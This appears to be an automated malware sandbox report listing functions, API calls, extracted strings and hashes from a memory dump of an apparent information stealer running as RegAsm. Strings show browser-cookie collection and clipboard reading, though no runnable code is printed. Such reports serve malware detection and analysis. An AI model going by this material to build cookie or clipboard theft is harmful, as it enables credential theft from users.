Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: D1B7
API String ID: 1029625771-1785272153
Opcode ID: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction ID: bda3516896a5f2ae45156be42eb04b2df876cef8185d1ab8fdc58d2902e9d8c2
Opcode Fuzzy Hash: ba243289e261731e0f328ab571701020da0383182d802b1ebf38187e4b27abb8
Instruction Fuzzy Hash: 722171B4518301ABD708DF10D9A171FBBE2FBCA708F14992CE48547351E7748D05DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004391C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00439257

Strings

&QPS, xrefs: 00439218

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS
API String ID: 1279760036-2176464483
Opcode ID: 3021ed5d250742d12213ae64843e51c017cf79448b4547ab576fc032e29171d0
Instruction ID: 4c527596ef4993cf958f93f33f8c539a2364bd56be8d93c3a76c3710f2140928
Opcode Fuzzy Hash: 3021ed5d250742d12213ae64843e51c017cf79448b4547ab576fc032e29171d0
Instruction Fuzzy Hash: A0011370208341AFE708CF00D4A476FBBE2FBC9318F248D5DE8A507681C7799919CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004359F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00409E11), ref: 00435A87

Strings

&QPS, xrefs: 00435A48

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: &QPS
API String ID: 1279760036-2176464483
Opcode ID: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction ID: 3531a23c288a52d53f944b2c3e457840114f3fd3f8c40cca6c01df16574b446f
Opcode Fuzzy Hash: 69127a2621d4f876e4ea6e0d4522e800ef0ce33a1218fea6c99b8e6b414e8f95
Instruction Fuzzy Hash: B9114570108341AFD708CF04D8A0B6FBBE2FB85328F248A1DE8A507681C739D9199BC6

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE10 Relevance: 3.2, APIs: 2, Instructions: 187COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DEFD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF28

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 33638cf25a273dc667fccbe5a6e0cc0d231971ebcbc9e8796853b46efe670311
Instruction ID: 62b98572a374dd0777d2ae43eceb347200aff2236fcb4eff31c058ef3ce9dbd0
Opcode Fuzzy Hash: 33638cf25a273dc667fccbe5a6e0cc0d231971ebcbc9e8796853b46efe670311
Instruction Fuzzy Hash: 29619CB46083518BE324CF15C891BABB7E1FFCA318F014A1DE8D65B281D3B89945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 004154A0 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004154DD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 0041550E

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 2dfaba1e5cb7063db9398346f45361f22b7b3198387c75ba2a7da4b51b980434
Instruction ID: fc12c6e93429097c05e90d0d9db2d7eb9be4e75d929ef6e862d3717b1209126b
Opcode Fuzzy Hash: 2dfaba1e5cb7063db9398346f45361f22b7b3198387c75ba2a7da4b51b980434
Instruction Fuzzy Hash: 94519F74204750EFD3208F18C891BABB7E5EFC6724F404A1DF9998B391DB749845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6AB Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E6C5
GetSystemMetrics.USER32 ref: 0042E6D5

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction ID: c70253705267066fe0a390eb40da1e2c454f4fe67f9f49903ef1b4541bef4a9f
Opcode Fuzzy Hash: c25e3d91eaef95e72eee0b40d5d97d098b1fba32fea2081f15efa1ce194b10f2
Instruction Fuzzy Hash: 5F319BB46197408FD750EF39D985A1ABBF0BB89304F40892EE998C73A0E731A945CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00438312 Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00438356

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction ID: 1610e8cb5096fc1eed96c977c505dcc91df5b75474227e367c2d36b4526b057e
Opcode Fuzzy Hash: 2ec94da7954408cfae29368b1fe2093eb4b36237cb70dc7a0dbd9c2afcbb8aec
Instruction Fuzzy Hash: 00F0A574209340ABD708DB14D69099FFBE2AFCAA49F24881DE48583306C734EC43AE4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043914C Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 004391B5

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction ID: da42185ebec8373d7b22ee920953178115992f0127cd58568fcf92c2ed0c5c99
Opcode Fuzzy Hash: 59dc1c7f1cc53553e71521ab8106514bee450ab26b812539456e6df4fe94b9da
Instruction Fuzzy Hash: 7B01D274508341AFE710CF14D88475BFBB2EBC6324F209E49E8A417695C3B5ED4A9B8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042DDE0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 153clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042DE34
OpenClipboard.USER32 ref: 0042DE46
GetClipboardData.USER32 ref: 0042DE6B
GlobalLock.KERNEL32 ref: 0042DE8C
GlobalUnlock.KERNEL32 ref: 0042DF8B
CloseClipboard.USER32 ref: 0042DF91

Strings

K, xrefs: 0042DEF9
8, xrefs: 0042DEED
L, xrefs: 0042DEFD
7, xrefs: 0042DEE5
N, xrefs: 0042DEF5
I, xrefs: 0042DEE9

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: 7$8$I$K$L$N
API String ID: 3829817484-2422513041
Opcode ID: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction ID: 8ed9dd40b2239205a4d96c9da8700085f56f38dffb9234c430860a7af855d13a
Opcode Fuzzy Hash: 6bd769e2c866ad362b282a4a0c33327f7ba68ca5a8274088656c9bed962daec9
Instruction Fuzzy Hash: 0F5190B0A04740CFC721DF39D585616BBE0AF16314F548AADE8D68F796D334E805CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF19 Relevance: 15.5, Strings: 12, Instructions: 473COMMON

Download Yara Rule

Strings

.q#s, xrefs: 0041FA3B
"u w, xrefs: 0041FA45
4i:k, xrefs: 0041FA4F
Ny0{, xrefs: 0041FA27
H{, xrefs: 0041F923
)m:o, xrefs: 0041FA59
GC, xrefs: 0041F92D
)/, xrefs: 0041F30E
8a)c, xrefs: 0041FA63
x!\', xrefs: 0041F066
bD, xrefs: 0041F90F
[J, xrefs: 0041F919

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction ID: 62964ce6587a9f6e8b4bc72a90dd2b3cf09b0a553c01e9630c29236c2bf44c9c
Opcode Fuzzy Hash: 15b7895d50192fbd9e2686c79026486b2693e9a6a391717bdcf467abc5fd23ba
Instruction Fuzzy Hash: D852FCB0205B858FE325CF25D494BD7BBE1BB06348F50892EC4EB5B645CB74A14ACF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041FBB5 Relevance: 15.5, Strings: 12, Instructions: 465COMMON

Download Yara Rule

Strings

[J, xrefs: 004205A5
bD, xrefs: 0042059B
x!\', xrefs: 0041FD02
)/, xrefs: 0041FFA0
4i:k, xrefs: 004206DB
8a)c, xrefs: 004206EF
GC, xrefs: 004205B9
)m:o, xrefs: 004206E5
.q#s, xrefs: 004206C7
H{, xrefs: 004205AF
"u w, xrefs: 004206D1
Ny0{, xrefs: 004206B3

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "u w$)m:o$.q#s$4i:k$8a)c$GC$H{$Ny0{$[J$bD$x!\'$)/
API String ID: 0-3498391054
Opcode ID: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction ID: 047a6880c081cc5f665bfd31f87bed186ae8e6b2cdbb109c5f5ad8525fb29fbb
Opcode Fuzzy Hash: 17e1eef2c47546f5909f2ab459ea3df871a253adbcce23567c6d7a1e809ea18b
Instruction Fuzzy Hash: 6F52FBB0205B858FE325CF25D494BD7BBE1BB06348F90891EC4EB5B646CB74A149CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7CD Relevance: 13.8, Strings: 11, Instructions: 100COMMON

Download Yara Rule

Strings

q$s, xrefs: 0040F876
8MnO, xrefs: 0040F83F
u=w, xrefs: 0040F881
u!|#, xrefs: 0040F7F2
Hik, xrefs: 0040F88C
M-q/, xrefs: 0040F7EA
:m:o, xrefs: 0040F897
hI4K, xrefs: 0040F834
~w, xrefs: 0040F9F7
3yZ{, xrefs: 0040F860
9aBc, xrefs: 0040F8A2

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: u=w$3yZ{$8MnO$9aBc$:m:o$Hik$M-q/$hI4K$u!|#$~w$q$s
API String ID: 0-1478902827
Opcode ID: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction ID: a799ed0fff6447343bd514cbacf28bedb163b3e05e2a36f77cc3edbc9f46f7b9
Opcode Fuzzy Hash: 7fc9041370a3a3983846bac274a0ed910bcf7d3cbc2af6b240ce81c8c7474168
Instruction Fuzzy Hash: AA51EBB45193C19BE674CF11D891B9FBBA1BBC6340F608E1CD5D92B254CB30904ACF96

Uniqueness

Uniqueness Score: -1.00%

Function 00424240 Relevance: 9.0, Strings: 7, Instructions: 223COMMON

Download Yara Rule

Strings

7&"4, xrefs: 00424321
rr}t, xrefs: 00424411
)5>Q, xrefs: 0042426B
##*8, xrefs: 00424317
4f, xrefs: 004243DF
&>95, xrefs: 0042432B
8C, xrefs: 00424308

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID: ##*8$&>95$)5>Q$7&"4$8C$rr}t$4f
API String ID: 1279760036-3888404133
Opcode ID: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction ID: 3f6742af25c925c888f3af746ffa36932763abd1f696094f3cdaf422b2e53c93
Opcode Fuzzy Hash: 75e9084bf7dc8f8358964003a6f28c1663de380da6f4640a1865e0df872f19a1
Instruction Fuzzy Hash: 4D9157B4245B90CBE3268F25D4A0BE3BBE1FF56309F540A5DC4EB0B285C37AA4458F95

Uniqueness

Uniqueness Score: -1.00%

Function 0041D128 Relevance: 8.0, Strings: 6, Instructions: 493COMMON

Download Yara Rule

Strings

"frc, xrefs: 0041D287
deks, xrefs: 0041D2B3
#m8j, xrefs: 0041D29D
&zqi, xrefs: 0041D292
=ksw, xrefs: 0041D27C
[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 0041D348

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "frc$#m8j$&zqi$=ksw$[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser$deks
API String ID: 0-866983173
Opcode ID: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction ID: c58cb54646a3eb14b49da7c51523dbab074ab8a0297049e6d9acae5f9d3fd762
Opcode Fuzzy Hash: 24fb457cb41431979cf467ed9e60fa379f1c1d026843b3a604b61835dc222ffe
Instruction Fuzzy Hash: B2029FB59083559FC324CF18C49076BBBE2BF86308F588A6DE4D59B391D738E841CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B470 Relevance: 4.1, Strings: 3, Instructions: 313COMMON

Download Yara Rule

Strings

R-,T, xrefs: 0043B620
gxyz, xrefs: 0043B4D8
R-,T, xrefs: 0043B520

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: R-,T$R-,T$gxyz
API String ID: 0-1473045628
Opcode ID: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction ID: d43682651e4d1bbcca935c21765318abaecc161b347944d4f0b38a11893cb63e
Opcode Fuzzy Hash: 0b0337f593c6df23082d4b75dc60b2b2baa32265b9c7ea5effac9dbe5e4e04d7
Instruction Fuzzy Hash: 77A1BC726043129BC715CF18C49076BB7A2FF88324F29961EE9959B391D738EC15CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 00416E69 Relevance: 4.0, Strings: 3, Instructions: 266COMMON

Download Yara Rule

Strings

w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00417199
/9++, xrefs: 004170E7
756., xrefs: 004170E0

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /9++$756.$w[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser
API String ID: 0-1700640428
Opcode ID: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction ID: cbd01cd0f0e0f6a1cd8aef29ed4a15310b76b2b422a9a27135592bbd613474a8
Opcode Fuzzy Hash: a014cfe3effdd53ad0569a5c0da46c576056ff92ac18762d3f8e3a7eb364fc7e
Instruction Fuzzy Hash: CAB1A070508B418BD329CF35C0A17A3BBE2BF96354F148A5EC0E74B791C739A486CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00411739 Relevance: 3.5, APIs: 2, Instructions: 509COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,00000000,?), ref: 00411C9F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,?,?,?), ref: 00411CD0

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction ID: 0ed494a6543ca339513086986a4129f0b880fa6df34ef5ec732637b97b238257
Opcode Fuzzy Hash: 068fec51292eb0153f786f845102b85ca71fb8b30bd3bb33e2b1e054605888a3
Instruction Fuzzy Hash: BD127D71250B008BE325CF24C4917E7B7F2BF85304F088A2DD4AB87691EB7AB559CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B930 Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

789:, xrefs: 0041BBB6

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 36a983f0353d3c6dfa2ff8c9c072f4cd58b99d3818a01922dc0ecafc80931891
Instruction ID: 418ff68b172b6724851a5f9b45def2009d2e8c16223b2686ec42ef28e0ca92a7
Opcode Fuzzy Hash: 36a983f0353d3c6dfa2ff8c9c072f4cd58b99d3818a01922dc0ecafc80931891
Instruction Fuzzy Hash: F981D1B1A042059BDB24DF14C892BBB73B4EF85324F08452DE9959B391E738ED41C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B2A0 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

?mlk, xrefs: 0041B3D6

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ?mlk
API String ID: 0-3660313571
Opcode ID: 3fceecc75c6584e1865f7d22a684ccd678e06b38af3c4408a2a19f361e0b4bba
Instruction ID: 01c671782572adc667358f00788eb460e8e2c42b2d22e52cc5728f6b1ee1f78b
Opcode Fuzzy Hash: 3fceecc75c6584e1865f7d22a684ccd678e06b38af3c4408a2a19f361e0b4bba
Instruction Fuzzy Hash: 8D8105B15042148BDB14DF18C892BBB73B2EF95328F18825EE8964B391E739D845C7E6

Uniqueness

Uniqueness Score: -1.00%

Function 00410C5B Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

JAF, xrefs: 0041237A

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: JAF
API String ID: 0-4103162853
Opcode ID: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction ID: cfe4e2a8978f3ae7d713284cd87d2e3eb9195a7231fafb701f6cf529d3db3fb2
Opcode Fuzzy Hash: 9128636b99eb7f40b603839eac4711fe0728de6b55a2a56fef665d4a45b70235
Instruction Fuzzy Hash: 37816DB0500B009FE735CF24C490BA7B7F6BF45314F148A2ED4AA87681E779B998CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004176E1 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

789:, xrefs: 0041772A

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction ID: 7b78dbaa38c7b21beee6cf440ef457b437b28244ea0c7ae6acfcb896623c88e2
Opcode Fuzzy Hash: 84606cd881d82e9bb318d4f0a26b9851e8aa3b96b1d02f44d570d103868ee779
Instruction Fuzzy Hash: A631D079A04A408FD325CF24C895BA7B7F2EB46304F58896ED497C7792DB38E846CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00417A78 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser, xrefs: 00417B23

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser[info] collected cookies file of the chromium-based browser
API String ID: 0-4202348984
Opcode ID: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction ID: 7b1c09e42af0d5f6b04bbe538d6475b2e989d68743133b3e170275eba0625d42
Opcode Fuzzy Hash: e6945d7441c4ca921465b1a41f44629304a2dc6011dd70954a208598614fb8d4
Instruction Fuzzy Hash: 39217CB4918B918FC3368F34C5A4363BBF1AB12218B041A5DC5E38BB91C374F442CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00413722 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

789:, xrefs: 0041374F

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction ID: 75855608be2bda6d97df851f8e3a2661acfeea8d70f422b91aa9a116a9652a2c
Opcode Fuzzy Hash: 91002e8592419f02679266217e0656b05884a03e323483f8f31014a3a2b85d26
Instruction Fuzzy Hash: 442162752107419BD725CF24C881BA7B3B2FF81305F284A1EE596A7785D7B9F841CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0041347E Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

789:, xrefs: 004134C0

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction ID: 695dfa75bfd7b84a09a8389b6cc6ea945b72dffd246397d7a94960ee23ad2b5b
Opcode Fuzzy Hash: 6632e86e90320e603a285031c02ad9be3a03face611ce7db98c36edb2b210904
Instruction Fuzzy Hash: 3C21A134640B029BD7348F28C890BA7B7F2BB45315F14492CD2A787B92E379F8419B48

Uniqueness

Uniqueness Score: -1.00%

Function 00422B70 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction ID: 3c3bb655185b5af2888637fc8bac67708ee984c1cf6fe0d356e12da658f3a700
Opcode Fuzzy Hash: 3f696112414c2176a47e66b299e801a383e415b346e735ebcf3c7c746a3e6efe
Instruction Fuzzy Hash: 79F0C82020CBD19EC716CF299150676FFE0AF97605F1454CDD4D197362C21CD90ACB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00422B54 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

h3E, xrefs: 00422BC3

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: h3E
API String ID: 0-1264096165
Opcode ID: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction ID: 364beef6f316d3f83652dd8aa71acb0ec1cc879e8a2107f1598c1c26b9198e98
Opcode Fuzzy Hash: d95b8c7dad6f27eaeeba518d165f6ea783b51c0a4d661dd6bbb858999750f331
Instruction Fuzzy Hash: B9E0223020C7908EC309CF28E110236FBE1AF9B600F2454DED4C2D73A2C228DA07CA1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041403B Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

:^F, xrefs: 00414061

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: :^F
API String ID: 0-1832529195
Opcode ID: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction ID: 7f238519bb71acc741d5806136ffcdbde4ed3e01776cef76c6de01323dd1d1f1
Opcode Fuzzy Hash: f8a9e0cc216a639e61236eec9da2288ad57904349f70ab7f3e7e58259bc75aec
Instruction Fuzzy Hash: 4BE01A5594F3C05FD7079B306C668A67F3A4BC7204B0E40EBD589CB2A3C4384A2DD36A

Uniqueness

Uniqueness Score: -1.00%

Function 00417BF5 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction ID: 7bf09f208c8d42f402782dd01e8dcfad3d0292ea5e19e587d8160202315e0386
Opcode Fuzzy Hash: fa5c74de47e00e3fd1cbc8b8bf4f30cddb57eb3db75c3f68035aa95fc8bdd8f7
Instruction Fuzzy Hash: A8B18BB1504B018BD725CF24C4A1BA3B7F2FF85314F148A0ED8A64BB91D779B986CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410F4D Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
Instruction ID: b397bc2b545a3e06a06c6f9a7b35e90c89a8d5b58e071fd8aed5b45881f06650
Opcode Fuzzy Hash: 0e1d513dcbe5ddf1e5a79446440b6df517490a6ef9966cf12ce402a64110efc1
